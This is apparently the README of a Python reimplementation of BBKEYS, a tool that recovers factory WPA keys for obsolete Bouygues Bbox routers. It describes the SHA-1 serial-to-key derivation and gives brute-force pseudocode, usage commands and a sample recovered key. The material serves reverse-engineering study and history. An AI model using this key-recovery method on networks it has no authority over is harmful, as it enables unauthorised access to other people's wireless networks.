A Python port of BBKEYS (bbkeyswin.exe), a tool that generates the
default WPA keys used by 2008/2009-era Bouygues Telecom "Bbox" routers.
This repository is a faithful reimplementation produced by reverse-engineering the original 32-bit Windows binary in Ghidra. The underlying weakness is a publicly documented and long-patched issue from 2009 affecting obsolete ISP hardware. It is published here for reverse-engineering study, historical interest, and interoperability with the original tool.
This is not original research. All credit for the algorithm and the original implementation belongs to the people below — this project only re-expresses their work in Python.
- Kevin Devine — author of
stkeys, the original analysis and implementation of the Thomson / SpeedTouch default-key derivation that this whole family of tools is built on. - M1ck3y (www.crack-wifi.com) — author of the
original BBKEYS (
bbkeyswin.exe), which adapted Kevin Devine'sstkeysapproach to the Bbox routers. The program's own banner reads: "Bouygues Telecom Bbox default WPA key Generator — Based upon Kevin Devine's stkeys — Brought to you by M1ck3y — www.crack-wifi.com".
The Python port (bbkeys.py) simply reproduces their logic; please attribute
the original authors in any further use.
For this generation of Thomson-built routers (sold under several ISP brands, including Bbox), the factory SSID and the factory WPA key were both derived from the device's serial number by hashing it with SHA-1:
digest = SHA1( serial_number_as_ascii ) # 20 bytes
WPA key = first 5 bytes of digest, as 10 uppercase hex chars
SSID suffix = last 3 bytes of digest, as 6 uppercase hex chars
The router broadcasts its SSID, so the last 6 hex characters of the SSID are public. The flaw: the serial-number space is small and highly structured, so an attacker can brute-force every possible serial, hash each one, and keep the candidates whose digest ends in the known SSID suffix. For each surviving candidate the first 5 bytes of the same digest give a candidate WPA key.
Because only 3 bytes (24 bits) of the digest are checked against the SSID, more than one serial can match — hence the tool reports "potential" keys (plural).
This was fixed long ago by randomizing factory credentials; modern routers do not derive the key from a guessable serial.
The candidate serial is a 12-character ASCII string with this exact layout:
C P 0 Y W W H H H H H H
└──┬──┘ │ └─┬┘ └─┬┘ └─┬┘ └─┬┘
"CP0" │ week p1 p2 p3
│ (01-52)
year digit
('8' or '9')
| Bytes | Field | Values |
|---|---|---|
| 0–2 | Prefix | constant "CP0" |
| 3 | Year digit | '8' or '9' → 2008 / 2009 |
| 4–5 | Week | two decimal digits, "01"…"52" |
| 6–7 | Production p1 | see encoding below |
| 8–9 | Production p2 | see encoding below |
| 10–11 | Production p3 | see encoding below |
The three "production" positions each represent one character drawn from a 36-symbol alphabet:
CHARSET36 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
But the character is not stored directly. Instead, each character is written as the two uppercase hex digits of its ASCII code. For example:
| Char | ASCII | Stored as |
|---|---|---|
'0' |
0x30 | "30" |
'A' |
0x41 | "41" |
'Z' |
0x5A | "5A" |
So the production code K 7 Q becomes the six hex characters 4B3751
('K'=0x4B, '7'=0x37, 'Q'=0x51), and the full serial that gets hashed is:
CP09 34 4B3751 -> "CP09344B3751"
└┬─┘ └┬┘ └──┬──┘
year week K7Q
2 (years) × 52 (weeks) × 36 × 36 × 36 (three production chars)
= 2 × 52 × 46,656
= 4,852,224 candidate serials
Each candidate is one SHA-1 of a 12-byte string, so the entire space runs in a few seconds.
input : the known SSID octets (hex) e.g. "441FE6" -> target = bytes 44 1F E6
N : number of target octets e.g. 3
for year_digit in {'8', '9'}:
for week in 1..52:
for p1 in CHARSET36:
for p2 in CHARSET36:
for p3 in CHARSET36:
serial = "CP0" + year_digit + f"{week:02d}"
+ f"{ord(p1):02X}{ord(p2):02X}{ord(p3):02X}"
digest = SHA1(serial.encode("ascii")) # 20 bytes
if digest[-N:] == target: # tail matches SSID
key = digest[:5].hex().upper() # first 5 bytes
report(serial, p1, p2, p3, key)
- Match condition: the last N bytes of the SHA-1 digest must equal the
N octets you supplied. With the standard 3-octet SSID suffix, that is the last
3 bytes (
digest[17:20]). - Recovered key: the first 5 bytes of the same digest, rendered as 10 uppercase hex characters. This is the candidate factory WPA key.
These behaviors were reproduced exactly as found in bbkeyswin.exe:
- SHA-1, confirmed by the init constants
0x67452301 0xEFCDAB89 0x98BADCFE 0x10325476 0xC3D2E1F0. - Serial prefix
"CP0", confirmed from the program's static data (0x404000 = 0x00305043→ bytes43 50 30 00="CP0\0"). - Year limited to
8/9, week1–52, three production chars over the 36-symbol alphabet (the five nested loops inmain). - Key = first 5 digest bytes; SSID match = last N digest bytes.
One intentional difference: the original binary's input parser rejects any
-i value longer than 6 hex digits (3 octets) and any odd-length value.
This port keeps the odd-length rejection (it is fundamental — octets are byte
pairs) but only warns on longer input and then matches that many trailing
digest bytes. This lets the tool run on longer SSID-octet strings while still
reproducing the original behavior exactly when you pass the standard 6-hex
suffix.
python3 bbkeys.py [ -i <ssid octets> ] [ -o <output file> ] [ -v ]
| Flag | Meaning |
|---|---|
-i |
SSID octets to match, as hex (e.g. 441FE6). The last 6 hex of the SSID. |
-o |
Write the recovered candidate keys (one 10-hex key per line) to a file. |
-v |
Print candidates to stdout as they are found. |
$ python3 bbkeys.py -v -i 12D7D1
...
Generating keys..please wait
Serial Number: CP0934**K7Q - potential key = A5AC05F48F
Found 1 potential keys.
The display line mirrors the original tool's Serial Number: %s**%C%C%C - potential key = ... format: CP09 34 (year/week), ** (literal separator),
then the three decoded production characters (K, 7, Q), then the key.
The port was validated with a round-trip test: take a known in-range serial, compute its real SHA-1 digest, extract the true SSID suffix and key, then feed the suffix back into the tool and confirm it recovers the same serial and key.
serial : CP09344B3751 (year 2009, week 34, production "K7Q")
true key : A5AC05F48F (first 5 digest bytes)
SSID suffix : 12D7D1 (last 3 digest bytes)
$ python3 bbkeys.py -v -i 12D7D1
Serial Number: CP0934**K7Q - potential key = A5AC05F48F
This targets a specific, obsolete generation of routers whose default-key weakness was publicly disclosed and patched in 2009; current hardware is not affected. Recovering keys for networks you do not own or have explicit permission to test is unlawful in most jurisdictions. Use this only against your own equipment or with authorization, e.g. for legitimate security assessment, historical research, or learning reverse engineering.